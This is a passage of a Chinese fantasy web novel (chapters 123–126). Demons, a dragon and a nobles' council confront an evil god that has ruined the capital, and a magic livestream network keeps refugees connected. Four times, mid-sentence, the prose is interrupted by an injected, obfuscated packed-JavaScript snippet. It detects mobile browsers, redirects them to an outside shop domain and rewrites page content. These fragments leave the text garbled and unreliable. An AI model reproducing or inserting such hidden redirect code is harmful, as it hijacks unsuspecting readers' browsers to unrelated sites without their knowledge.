“罗德里斯，让他们进来。”妮娜鼓起勇气对魔龙下达指令。 罗德里斯终于挪动了一下位置，他的五指加重了力量，让妮娜觉得自己的肩膀就快要被捏碎了。 “痛，放开我。”她不得不下了另一个命令。 这些与权力伴生的语言快速见效，罗德里斯松开了手，但是当那几位客人从他面前经过的时候，他的脸色明显越来越坏。 最后走进来的是波诺，他像一个有教养的贵族少年一样，仪态端正地关上了门。 妮娜注意到门外视线可及的地方都已经被黑雨腐化成了一滩摊巨大的烂泥。 “罗德里斯大人，不管接下去你听到了什么，都要保持冷静，好吗？”妮娜特意在这个时候用上了尊称，以表示一个后辈的谦逊。 罗德里斯用那双金色的眼睛冷冷地盯着她：“你说什么就是什么，我的小陛下。” 123. 情况说明 巨龙在沉睡的时候似乎梦见过眼下的景象。 就在他被格兰德封印前不久，虚弱的幻灵将核心托付给了他，并颤抖着描述着即将发生的大灾厄。 幻灵虽然被称作幻灵，但其实他们并不擅长制造幻觉，预言才是他们的看家本领。 随着核心的转移，那种力量似乎也在他体内生根发芽了。 他在牢不可破的封印中，曾经预见过这片黑雨。 妮娜让恶魔城对公寓的格局做了一点改变，让一楼有更大的空间可以游刃有余地容纳所有人。 所有目前住在公寓的成员都被叫了出来，大家围坐在一起，只是面前没有象征平等的圆桌。 自从被解救以后便一直闭门不出的蒙多也终于走出房门，他就坐在波诺边上，而波诺对这个红色头发的魔族少年既好奇又心虚，一直有一眼没一眼地往那个方向看，直到蒙多忍不住说了一句：“你看什么看？” 波诺这才老实起来。 古斯塔夫、乌鸦和乌瑟正警惕地盯着阿斯代伦，而后者完全没有回应那三道热情的视线，目光在阿加雷斯和这儿的女主人之间游移。 阿加雷斯挤在巨龙边上，他在同性之间算是身材高大的那一类，但和罗德里斯一比，立刻逊色了很多——毕竟那是以条真实身高超过三十米的庞然大物。 雷诺阿意识到自己很可能是这一圈里唯一的普通人类，不禁感到分外紧张，他开始后悔昨天没有快点完成任务，然后返回赫尔马岱。 妮娜观察着错综复杂的视线走向，有些意外地说道：“没想到你们互相认识，这世界还真够小的……” “我需要听的解释太多了。”罗德里斯一脸不满地说，“三百年前究竟发生了什么？大贵族的核心为什么会在这些人身上？”他一边说，一边用手指向后来的几位客人。 只有戴着白手套的青年逃过一劫，他的脸上露出一种沾沾自喜的表情。 而妮娜愣了一会儿，似乎想通了什么，小声说道：“果然是这样……” “什么？”魔龙瞪了她一眼。 “阿斯代伦，波诺，原来你们就是贵族院的人，我早就应该猜到的。” “贵族院？” “你想听解释吗？听了之后不许生气。” 罗德里斯的表情仿佛在说“我看你能吐出什么象牙来”。 “三百年前的人魔大战，最终以魔族的失败告终，七颗大贵族的核心流入人类手中，成为了他们奴——控制魔族的根基。” 现场听众的反应不一而足，大多数成员都面露困惑，贵族院阵营同样如此，只有阿加雷斯和文森特表现出听懂的样子。 “妮娜，你没有发现吗？你在和罗德里斯说话的时候，一直用的是另一种语言，而我们听不懂。”乌鸦忍不住说出真相，“大多数人没有学过古魔族的语言。” 罗德里斯一掌拍在身后的墙面上，差点把墙壁砸出一个窟窿：“你说魔族输了，那怎么可能？在当时那种情况下，人类根本没有胜利的可能。” “那个时候，格兰德已经很虚弱了。”妮娜来不及解决语言不通的问题，匆匆解释道。 “那么其他大贵族呢？陛下难道为了保护人类，连他们也一同封印了？”罗德里斯问。 “我从魔王的果实中得到了力量。”阿加雷斯用略显生疏的魔族语言答道。 * 通过传送阵逃离神圣峡谷的人群中，有一部分无可选择地来到了赫尔马岱，这个因为矿产和生命之树而出名的城市。 “啊，果然还是希望能到风景优美的乡下去避难呢，这种放眼望去全是矿山的地方实在败坏性质。”一名衣着优雅的女性刚刚从传送阵出来，有些嫌弃地看着周围的景象。 她身边的人不满道：“拜托，能捡到一条命已经很不错了，由不得你再挑挑选选，你最好给我安静一点。” “哼。” 一个带着行李箱的男士说道：“我倒觉得赫尔马岱是个不错的选择，离王都远，一时半会儿受不到影响，而且听说最近这里变化很大。你们不觉得吗？空气好得不像是一个工业区。” 另一名身材干瘦的男性凑了过来：“一听就知道你们不怎么关心网上的时事，在之前星屑暴跌的那段时间里，有人出手收购了这里的几片矿产，改善了工作环境，顺便也在保护自然环境方面下了点功夫。” 带行李箱的人说：“我知道，我有个哥们就在这里工作，我正打算过去投奔他呢。” “是这里的工头吗，问问他能不能给我们提供一个住的地方，当然，我们会支付相应的费用。” “嗐，什么呀，他只是个矿工的。” “你骗我们，只有魔族才会去当矿工，哪有人类会自甘堕落去当矿工的？” “你们真的太落伍啦，赫尔马岱可为消化王城的失业者作出了不少贡献，虽然是不受待见的体力活，但至少能让人吃饱饭。不和你们说了，我得走了。” 带着行李箱的男人拖着他的行李，匆匆地离开了传送阵的站台。 抱怨风景不好的女性拿出手机，想要看看这附近有没有什么适合临时居住的地方，但打开手机之后，发现屏幕上没有显示网络，各种网页和需要联网软件也完全无法使用。 “什么啊，这里怎么连网络信号都没有？” “在王都的时候就已经没有了。随着天空中那个怪物逐渐变大，网络信号就开始变差了，在我离开王都的时候，那里已经彻底没有网络了。” “那不是在王都吗？怎么这里也受影响了？那个怪物不会转移地点了吧？！哎，你别走，你要去哪里？” “我跟着那个去工地的小子看看，听他那么一说，我倒是记起来了，有人做过矿区的直播，现在有些矿地的工作条件是真的很好，宿舍和伙食也样样俱全，说不定能找个落脚的地方。” “啊——那我也要去看看！”女性环顾了一圈四周，发现附近没有能够居住的地方，于是说道。 带着行李的男人身后跟随了一条说长不长的队伍，在穿过漫长而复杂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715156|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矿区道路之后，他终于抵达了自己想去的地方。 矿区2005，罗德里斯公寓驻赫尔马岱办事处。 他敲了敲门，很快，就有一名半透明的幽灵从门里穿了出来。 “请问有何贵干？”幽灵说。 男人回答：“我是来找布莱克·高宁的，我是他网络上的朋友，听说他现在在这里工作，我也想在这里谋一份暂时的岗位，您一定听说了，王都发生了一些可怕的事，我是来这里避难的。” “你身后的那些人呢？他们也是来寻求庇护的吗？”幽灵问。 男人回头看了一眼，无奈地笑了笑，随后点头道：“如果可以的话，也给他们安排一下工作和住处吧。我们会努力干活的。” 幽灵终于打开了办事处的大门：“想在这儿工作的人先过来登个记，我会尽快为大家分配任务和住处的。” 这话让那些提心吊胆的跟随者们一下安心了许多，大家叽叽喳喳地聊了开来，丝毫不避讳眼前那位负责人。 “我看这儿的工作环境确实不错，和想象中的矿地完全不一样，而且工作压力也不大，看起来挺好的。” “不过王都都变成那样了，矿产贸易还能赚钱吗？你们不会是在搞慈善，亏本运营吧？” “你就别替资本家担心了，他们只会把工人压榨到最后一滴，而你居然把它和慈善混为一谈，居心叵测。” “你看这里的工人像是被榨干了的样子吗？一定要免费发钱才算慈善？用劳动换取生存资源不是合情合理的吗？” 维克多微笑着将他们迎进了办事处的大门。 * “喂，布莱克，你不是说在这里打工吗，你——”带着行李箱的男性用见鬼似的表情看着昔日的旧友。 上一次见面的时候，这个网名叫做克鲁斯光线的家伙明明就是个邋遢不羁的网瘾青年，成日泡在网吧里，不是没日没夜地打游戏，就是在论坛上口吐芬芳。 现在，人生无望的克鲁斯光线摇身一变，换上了干净的工作服，梳着整洁的头发，像个专业人士一样，手中捧着厚重的文件夹，脸上挂着谦和有礼的笑容，鼻子上甚至还架着一副眼镜，看起来像是一名德高望重的管理者。 他有些不好意思地推了推镜架：“虽然看上去一本正经，实际上就是个打工的，难道法律顾问就不是打工者了吗？” 带行李箱的男性仍觉得不可思议：“你真的是布莱克·高宁吗？不会是借了他的外貌和身份，想要混入人类社会的魔族吧？！” 这话让一边的幽灵感到不高兴：“无论过去怎么样，至少现在我们已经没有假扮成人类的必要了。我们有了自己的生存空间。” 男性意识到自己说错了话，但受到冲击的心态始终难以恢复平衡。 曾经共同沉沦的伙伴如今过上了有头有脸的生活，原本还能为人类中的失败者提供优越感的魔族现在已经有了比人类更加稳定的社会生态，这种强烈的对比和落差让他感到难受。 简直是倒反天罡！ 124. 吊桥效应 “现在工地上的工人——”布莱克从文件夹里拿出一份资料，大概是为了确认近几日的工作排班，以帮助新的务工人员找到合适的工作时间。 带行李箱的男性打断了他：“等一等，布莱克，你打算把我丢到工地上去吗？你自己西装革履地呆在办公室里颐指气使，却要让我去工地干苦力？这不公平吧？” 布莱克有些为难：“可是，办公室的岗位已经满了，食堂倒是还缺点人手，不过我本来是想让后面那位女士负责这项工作的。” 女性一听这话，皱起了眉头：“我最讨厌厨房的油烟味了，我宁可去工地上做力气活呢。别小看我，我可是练过的，搞不好比在座的各位男子汉还有力气呢！” 她虽然穿着风格甜美的服装，化着精致的妆容，但按体格来说，确实比在场的诸位男性更加结实。 布莱克立刻低下头去：“那就把你们两个的安排交换一下好了。” 带行李箱的男性还想说些什么，却在被女性瞪了一眼之后选择了闭嘴。更何况，他又想起了出现在王都的可怕怪物，觉得只要能安全地活着，就不该再指摘太多。 幽灵笑眯眯地补充了起来：“现在工地的工作条件不差，很多危险系数较高的任务已经全部转交给魔法道具完成了，需要力气的活也主要是巨魔负责，工地环境也已经经过改善，空气污染指数被控制在很低的水平……” 布莱克见他越说越起劲，小声提醒道：“维克多先生，我先让负责人带他们熟悉一下工地的工作流程。” “噢，那就交给你了。”幽灵说。 * 在邪神的影响下，整个王都几乎变成了一片沼气池，除了被施加过魔法保护的个别建筑，原本林立的高楼尽数成了沼气池的养料，所有基建设施全部瘫痪，导致全国各地的能源供应和网络连接都出现了不同程度的问题。 网络的消失让已经习惯于用网络与外界联系的当代平民在流离失所的途中更加增添了不安。 举家逃亡的人至少还能得到来自家人的关怀和支持，但也有很多人在混乱之中和亲朋失散，，如同在汪洋中独自漂流的小船。 和父母走失的少女躲在陌生的地下停车场，默默祈祷灾难赶紧过去。放在书包里的手机突然震动了一下。 “奇怪，不是已经没有网络了吗？难道通信恢复了？”她抱着一丝侥幸的心理把手机拿了出来，屏幕上显示的是一条推送。 【罗德里斯魔法公寓现在正在直播中，快来看看吧……】 屏幕上的信号图标仍处于缺失的状态，照理来说是不可能收到这样的信息的。 但是万一呢？ 与世界失去联系的恐惧感促使她打开乐飞的手机APP，在首页显示的“尚未连接网络”的提示中进入了直播间。 [真的在播！！！怎么回事！！怎么做到的？！！] [呜呜呜呜呜，救赎。] [谁懂，我现在在屏幕前哗哗地流眼泪，这是世界末日前最后的娱乐吗？] [卡崔娜，你在直播间吗，看到了请回复，让我知道你没事。] [我是卡崔娜，和一群高中生一起避难，目前很安全。] [我是卡崔娜，奥布朗，是你吗？我没事，不要担心我。] [我是卡崔娜，我很好……] 少女在密密麻麻地文字中看到了自己的名字： [朱诺，你在哪里？] 后面立刻出现了很多自称朱诺的回复。少女不知道这条消息是否来自她的家人，但她也和那些朱诺一样，在输入框里写道：“我是朱诺，我现在躲在威斯特拉姆市长柏街127号的地下停车场，暂时没有危险。” 【主播评论：目前直播间访客数量和弹幕数量过于庞大，请大家善用屏蔽和搜索功能，以便尽快获得需要的信息。】 [是哪位主播？维维姐还是拉弗尔，或者说文森特？] 【主播回复：我们都在。】 [网络信号已经消失了，你们是怎么做到的？] 【主播回复：这是用魔法架构的网络，只要附近有魔族成员，就能覆盖到魔法网络的信号。每个魔族都是一座信号塔，请照顾好身边的魔族，也请照顾好自己。】 [还有人留在神圣峡谷吗？谁能说一下现在那里是什么情况？那个怪物会不会继续侵占其他城市？贵族院出动军队了吗？把魔女集结起来，应该可以和那家伙一战的吧？] [我离开王都的时候，市中心那一片地已经完全被毁了，只能看见贵族院的大楼在留在那里。] [我们现在能做什么吗，难道只能坐以待毙？] [王都发生了什么事啊？回过神来身边居然全部都是从王都过来的难民，网络和水电都不能用了，国家要瘫痪了吧？] [我导师说那东西是邪神，在人类定居这片大陆之前就已经存在很久了。] [邪神？他是想统治这片大陆还是怎么的？他不会要把我们赶尽杀绝吧？] [人类抢了他的地，现在他再抢回去，我看没毛病。] [这地本来也不是他的啊，魔族才是这里的原住民吧？他凭什么啊？] [邪神？你们认真的吗？这到底是什么小说情节照进现实啊？] [谁把他召唤出来的，行行好赶紧把他送回去，我的毕业论文写了一半还没保存……] 【主播回复：贵族院会对这件事负责，目前正在商议解决办法。重申，请大家保护好身边的魔族，也保护好自己。】 [遭了，我手机快没电了，怎么办怎么办！！！] [我也是，救命，根本就没有地方可以充电。] [我只剩18%的电了，马上就要彻底和世界失联了。] 【主播回复：请点击评论区的第一条链接，将链接中的魔法程序安装到手机中，即可通过魔族成员的接触为手机补充能够代替电能的魔力源流，该措施不会危及生命安全和身体健康，但是会消耗能量，请大家为附近的魔族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721152|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友提供食物。】 [呜呜呜呜呜，如果世界没有毁灭，我以后一定要好好对魔族。] [我也！] [我也。] …… 少女看了一眼手机的剩余电量，不足一半，虽然还能支撑一段时间，但谁知道眼下的这种状况会持续多久。她抬头张望起来，看到了穿着工作服装，正穿行在车辆间打扫地面的清洁员，她的肤色偏紫，有一双尖尖的耳朵。 少女立刻拎起背包，向那位精灵清洁员走去。 * 神圣峡谷，罗德里斯公寓。 维克多的台式电脑被放置在一个二重魔法阵中间。第一层魔法阵发挥电源的功能，第二层魔法阵像一个舵盘，绘有向八个方向延伸的射线——这就是构筑魔法网络的基础。 相关知识是蒙多和阿加雷斯以及维克多共同提供的。前者曾担任罗德里斯基地的网络专员，对用魔法联网的技巧谙熟于心，后面两个人则经常使用自己搭建的回路传递消息，同样精通此道。 两人的知识相互补充，再加上魔王的威逼利诱，以及有从赫尔马岱源源不断补充过来的星屑作为能量源，最终以乐飞的手机APP为媒介，成功布置了辐射范围包含整个国家的魔法互联网，在失去正常通信手段的当下，成为人们交流沟通的重要途径。 尽管功能简单，但意义重大。 这是刚才的圆桌会议做出的第一个决定。 这儿的房东花了好大一番力气才说服所有人平静下来，坐在这张桌子边上，好好讨论接下去应该做的事。 厘清历史的脉络已经消耗了不少时间，安抚罗德里斯的怒火更是让人感到头大，好在一切都得到了控制。 目前，聚集在这里的所有人都达成了共识，他们应该放下成见与隔阂，救王都于水火，否则不难想见，整个世界都会落入那个可怕怪物的手中。 而在找到对付邪神的办法之前，会议决定先安抚市民们的情绪，防止他们擅自返回王都，造成混乱，具体举措之一就是用魔法搭建足以覆盖全国的临时通讯网络。 从长远来看，这场危机如同机缘巧合一般，将人类和魔族置于共同的吊桥之上，让他们在恐惧的阴霾之下成为彼此的慰藉。 * 达尔·达曼教授在神圣峡谷出现异状的第一时间就收到了学校发送的通知，校内教职工可以利用疾力物流公司在过去赞助的传送阵离开王都。 当时很多人并没有意识到他们即将面对怎样的危险，因此也就没有把这条通知放在心上，圣灵图书馆和校内图书馆都布置了精良的避难设施，如果王都真的发生什么危机，他们也可以到那里去躲避灾难。 达尔·达曼将电脑中的一些重要文件打印成纸质版本，收集在一个结实的资料袋里，然后携带了一些文具和日用品就去通知中所指定的传送场地排队了。 打算离开王都的人不多，他提交了传送手续，没有等待多久，就被人带到了魔法阵所在的场地。 125. 魔法直播 目前传送阵的有效距离已经比这种魔法刚刚被人类掌握时延展了很多，但依旧有限，所以校内的传送阵只能将他们送到以王都为中心半径二百公里左右的地方。 达尔·达曼选择了东北方向的一座中转城市。 二百公里不算很短的距离，但也算不上什么长途旅行，不过这已经是达尔·达曼搭乘过的容距最长的传送阵了。 他不喜欢和魔法有关的东西。如果办公楼里装了电梯的话，他一定不会再使用那个可疑的魔法阵进行移动。 通过魔法阵的时候，大脑感受到一阵眩晕，和坐电梯的感觉相似，不足以让人感到不适。 达尔·达曼只是皱了皱眉，下一次眨眼的时候，他已经带着他的公文包来到了距离恩斯法内大学二百多公里远的那座枢纽小城。 他本来打算在这里换乘火车，但不知道为什么，也许是因为轨道运输的站台距离传送阵的站台太过遥远，而且还要去柜台买票，然后在车上打发一两个钟头，这些程序让他感到不便，所以最终他决定利用传送阵去往真正的目的地。 虽然要经过两次中转，而且票价不菲，但是包括购票和转换站台在内，一共耗时仅三十分钟。 他会在一天后知道自己做了一个正确的决定，因为再过一个小时，以王都为中心，电力、网络的瘫痪将蔓延至全国，如果那时候他坐在火车里，很有可能遇上危险。 达尔·达曼回到了故乡，福恩克市。他已经很久没有造访过这座落后的小城镇了。 在幼年时那场悲剧发生之后，他的母亲就带他搬离了这座充满伤心回忆的城市，他本人也不想与那件可怕的往事有太多瓜葛，但是近期发生的一些事，以及有意搜罗的一些资料让他发现，眼下的紧张情势很可能与父亲当年的研究有关。 他想来这里寻找线索。如果无疾而终，他也想在出生地落叶归根。 母亲带他离开这里的时候没有卖掉那栋已经被魔法毁坏的房子。 福恩克市是个发展严重滞后的城市，时光已经流逝了几十年，但这里发生的变化却很小，包括那栋房子，它竟仍保持着当初那副残破的模样。 由于门已经被魔法击碎，他不需要钥匙就能进入其中。看得出来，这里一度成为过流浪汉的家，也暂时扮演过老鼠的天国，不过由于食物缺乏、水电断绝，他们都没有在这里逗留很久，反正目前这是一栋肮脏、混乱、破败但空无一人的房子。 达尔·达曼走过那些垃圾和瓦砾，还有人类和动物的风干的排泄物，就像蹚过一片沼泽地一样。 房屋已经完全失去了其原有的结构，它本有三层楼，但能够登上二楼的楼梯已经没有了。一楼本来有客厅、厨房和卫生间，但现在已经完全看不出哪里是哪里。 达尔·达曼凭借着一点点稀薄的记忆，找到了一个下行的楼梯，楼梯下面是他们家的地下室，唯一没有在那场毁灭性的行动中受到实质性损伤的地方。 它被地面以上的空间很好地保护了起来，而且有一扇质量极佳的门阻隔了外敌的入侵。 达尔·达曼在门前呆站了一会儿，用颤抖的手从腰间取下钥匙包，借着散射进来的阳光找到了一把他从未使用过的钥匙，也是母亲给他的遗物。 他做了好几个深呼吸，终于痛下决心，用钥匙打开房门。锁孔用了特殊的材料，这么多年过去都没有发生任何锈蚀，和他做决定的过程相比，打开这扇门是如此轻而易举。 因为没有通电，而且阳光难以进入，地下室昏暗得让人难以适应，他打开手机上的电筒，环顾了一下这个房间，古旧的空气中弥漫着让人怀念的气息。 杰基尔把重要的研究资料都在这里进行了纸质存档，那个年代一切都还没有电子化，大多数研究者都有这样的习惯。 达尔·达曼开始寻找自己想要的东西。 【深渊巫妖的梦境研究】 “我们曾记录过数名深渊巫妖睡眠时的大脑活动，当他们进入深度睡眠状态后，大脑活动会呈现出几乎完全一致的数据，这被认为是他们拥有共同梦境的一项证据，只是碍于目前的技术水平，我们无法确定他们在深度睡眠的梦境中究竟看到了什么。” …… “我们开始对深渊巫妖的浅睡眠进行研究，并尽可能地记录了一些在浅睡眠中发生的梦境，尽管没有证据，但这些浅层梦境或许与不可记忆的深层梦境具有某种关联。” “在记录下来的浅层梦境中，最常出现的元素是大树，出现频次在所有记录中达到62%，但参与实验的对象都声称那不是生命之树，这是值得注意的一点。有些实验对象描述了他们在看到那棵树时的感觉——邪恶，恐惧，混沌。那确实不该是生命之树，没有魔族会用这样的词语描述他们的母亲。” …… “也许生命之树拥有另一种形态，就像那些拥有善恶两面性的神祇。” 这不是一份研究报告，更像是杰基尔的个人日记。达尔·达曼被这份笔记中的最后一句话吓了一跳。这个幽暗的空间似乎突然之间增添了阴冷的氛围。 偏偏在这个时候，头顶的天花板——也就是一楼的地板传来奇怪的声音。节奏像是脚步声，但质感完全不是那么一回事。 他关掉了手电筒，将笔记轻轻放回原位，一动不动地站在地下室，希望能够弄明白声音的源头。 但那声音不久后便消失了。 他又等了一会儿，楼上仍是一片安静。他这才鼓起勇气，决定上去看看。 在他踏上第三级楼梯的时候，松弛的木板发出受到压迫般的惊叫声，很快，那种奇怪的脚步声又响了起来。 达尔·达曼陷入了进退两难的境地。他紧张地看着楼梯上方，不多时，一个骷髅从楼梯间的出头探出脑袋。 一人一骷髅面面相觑。 达尔·达曼其实已经被吓傻了，但生活的阅历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725424|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和向来看似不快的表情让他在表面上依旧能够保持冷静。 至于骷髅，一个人类能从骷髅脸上看出什么表情呢？ 不过那张没有肌肉、牙齿、舌头……总之没有任何发声器官的嘴很快就开始说话了。 “您难道就是这栋房子的主人？我以为这里早就已经被废弃了。” 是女性的声音，听上去没有恶意，而且态度谦和。 达尔·达曼紧紧地盯着她：“我是这栋房子的继承人，你为什么会出现在这里？” 在确认那是一位魔族女士而非鬼魂之后，他忽然觉得轻松了很多，在说话的时候也透露出一股高高在上的意思。 他沿着台阶继续向上走，同时，骷髅却小心翼翼地后退。 “对不起，我不知道……我只是暂住在这里。我不需要进食，也不需要排泄，我只是把这里当成了一个遮风挡雨的地方。在我找到这里之前，它就已经是这个样子的了。” 她摆动着那双“白皙修长”的手，想努力表达这里的破败与她无关的意思。 达尔·达曼挣扎了一番，最终放弃了与一具骷髅计较的想法。 两个人很快达成了和平共处的共识，骷髅讲述了福恩克这几年间发生的大事，达尔·达曼则描述了王都的异样，在这期间他拿出手机，想要搜索一下最新的时讯，在看到前往福恩克的火车因为系统瘫痪而发生事故之后，网络信号便消失了。 达尔·达曼立刻意识到事情的严重性，但他无能为力：“不知道接下来会变成什么样。” 比较坏的结果就是第二次人魔大战的开始。而最坏的结果…… 他莫名想起了父亲笔记中那棵出现在深渊族梦境中的大树。 嗡—— 手机震动的声音在这个静谧的空间里显得格外清晰。 一条来自乐飞移动端APP的推送消息赫然出现在屏幕上： 【罗德里斯魔法公寓现在正在直播中，快来看看吧……】 达尔·达曼原本对这种面向年轻人的软件产品毫无兴趣，但是在自己带的学生报名参加创业大赛，并将直播作为最初的引流手段之后，他的手机里便多了某些APP。 他神情凝重地点击推送，手机自动打开了那个软件，并直接将他引入罗德里斯魔法公寓的直播间。 【公告：这是用魔法架构的网络，只要附近有魔族成员，就能覆盖到魔法网络的信号。每个魔族都是一座信号塔，请照顾好身边的魔族，也请照顾好自己。】 【公告：贵族院会对这件事负责，目前正在商议解决办法。重申，请大家保护好身边的魔族，也保护好自己。】 【公告：请点击评论区的第一条链接，将链接中的魔法程序安装到手机中，即可通过魔族成员的接触为手机补充能够代替电能的魔力源流，该措施不会危及生命安全和身体健康，但是会消耗能量，请大家为附近的魔族朋友提供食物。】 126. 善恶有报 “发生什么了吗？”骷髅发现老房子的主人正神情复杂地看着自己。 于是达尔·达曼将直播间的公告复述了一遍。 骷髅听完之后，用一种似乎带着微笑的语气说道：“真是了不起，这可不是谁都能做到的魔法。” 达尔·达曼喃喃自语：“可她只是一个经济学院的学生，她到底是什么时候认识了这么厉害的魔法师？” 两个人沉默了一会儿。 达尔·达曼发现手机的电量并不充足，立刻从公文包里摸了一包饼干出来，打算用它和骷髅进行交易，但在看到骷髅那空空荡荡的身体时，不由愣住了。 没有舌头，没有食道，没有胃袋，没有肠道。 “你不需要进食……那么你是从哪里获得能量的？怎样才能让你补充能量？” 骷髅摆弄着瘦骨嶙峋的手指，然后将它们放在地面上：“躺在地面上晒太阳，借人类的说法，这样做似乎能补钙。” 达尔·达曼说：“你在开玩笑。” 骷髅说：“我记得很久以前就有学者专门研究过骷髅的生命能量来自哪里的问题。其中有人认为生命之树的根能影响到这片大陆所有的土地，我们和土地接触，实际上是在接收来自生命之树的能量。” 达尔·达曼皱了皱眉：“又是生命之树。” 骷髅没有介意他的无礼，只是挪动了一下贴在地面的手指。 这块地面的地板已经被炸飞了，暴露出下面的泥土，以及顽强生长的细小的野草，“那是我们的信仰，我记得尊重别人的信仰也是人类社会中的一项礼仪，也许我记错了？” 然后她又摇动着头骨，说道：“魔族本来就不受到尊重，更不用说我们的信仰了。” 达尔·达曼认识到自己的错误，嚅动了半天嘴唇，那花白的胡子之间终于漏出一个声音：“抱歉。但我还是觉得祂多少有些让人害怕。人类总是对未知的东西感到恐惧，这是我们的本能。” 骷髅低着头沉思了一会儿：“也许吧。魔族也会害怕未知的东西。也许，当生活在这片土地上的魔族第一次遇到人类的时候，也和人类一样心怀恐惧吧。” 达尔·达曼没有别的事可做。 虽然地下室还有很多资料有待翻阅，但他暂时还没有做好继续探秘的心理准备。于是只好盯着热闹非凡的聊天室。 有人在统计王都难民们都选择了什么目的地，一个个的地名出现在屏幕上，不过根本没有人提到福恩克。这地方实在太偏远了。 有人询问各种系统瘫痪时正乘坐轨道交通的乘客们现状如何，还有那些搭乘飞机的旅客是否安全降落，大多数的回答都是令人欣慰的，恐怕和真正遇难的人没法上网有关。 【公告：怪物疑似找到了能够运行的传送阵，为确保安全，请位于王都附近城市的市民们向远处撤离。】 公告还列出了一些危险系数偏高的城市，以及一些推荐避难的城市。 达尔·达曼庆幸自己选了一个距离王都特别遥远的城市。 很多人都因为这条公告炸了锅，有人还发出了危险警告，提醒人们某些城市已经出现了异状。 [哇靠，刚才看到一只黑色垃圾袋飞过去，仔细一看是一团黑色的粘液，里面还有类似肌肉组织的东西，什么鬼！] [兄弟你有难了，快点躲起来。] [别沾到那东西，也别被它主意到。会死人的，我亲眼看到过。] [那东西不会跑得全国都是吧？贵族院不是说要解决吗，打算怎么解决？一点都没看到事态得到遏制啊喂！] [那东西不是从贵族院上面长出来的吗，会不会就是七贵族自己搞出来的？本来想培养终极兵器的，结果把自己赔进去了。] [之前不是说那东西是“魔王”吗，到底是啥啊？] [我觉得应该不是魔王吧……我们现在的通信可都是靠魔族的力量呢。] [所以还是贵族院搞的鬼？？？] [早该推翻那玩意儿了。] * “贵族院这回确实是要威严扫地了呢。”乌鸦有些幸灾乐祸地看着前来避难的四个男人，“网民说的没错，这东西就是你们整出来的，而你们又对它无计可施。” 乌瑟侧过头去，将手搭在她的肩上：“现在就别说这些话了。” 乌鸦撇了一下嘴角：“我就是想出口气，怎么了？” 阿斯代伦没有理会兽人的挑衅，双手抱在胸前，一条腿搭在另一条上面，上身坐得挺直，“那东西的活动范围扩大了，只守不攻的话，我们到最后肯定会无路可退的。” “好啊，那请问你有什么高见？”乌鸦瞪了他一眼。 “你们的魔王陛下会做些什么的，对吧？”阿斯代伦朝某个方向看了一眼。 阿加雷斯和罗德里斯就站在那儿，他们正共筑着一个防御魔法，避免那些黑色的液体和奇怪的生物组织入侵公寓，以魔法阵的圆心为中心，有数条具备魔力的射线在向外辐射，它们在城市中搜索通往市外的传送阵，并将其封锁，防止邪神的势力范围进一步扩大。 两个人的魔力都足以单独承担这个魔法，但实际操作起来要注意的细节太多，最终不得不以合作的形式来构建这张防御网。 相比阿加雷斯的全神贯注，罗德里斯身上则透露着坐立不安的氛围。 他太熟悉身边这个人身上的魔法气息了，和格兰德如出一辙，一想到这个人对格兰德的死有不可推卸的责任，他就感到浑身别扭。 他长得非常高大，但并不是一个心胸广阔的人，格兰德在世的时候就经常拿这一点打趣。 “你最好把偷来的东西还给小陛下。”他忍不住说。 阿加雷斯正全情投入于对王都各地的传送阵进行检查和封锁的工作，完全没有注意到合作者的话。 这让罗德里斯更加讨厌这个男人。 “喂！阿加雷斯·格尔克诺！” “嗯，怎么了，罗德里斯先生？”阿加雷斯终于听到了魔龙的呼唤，这种中途分心对他来说似乎有些勉强，因此他的回应显得心不在焉，绝非故意为之。 “把至高魔力还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729216|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给魔王。”罗德里斯重申了自己的诉求。 阿加雷斯沉默了一会儿。 “你不会想独占吧？”罗德里斯说，“我不会允许那样的事情发生。” “你有办法强制转移这股力量吗？”阿加雷斯问。 罗德里斯一愣，道：“我不知道，但我不介意试试。” 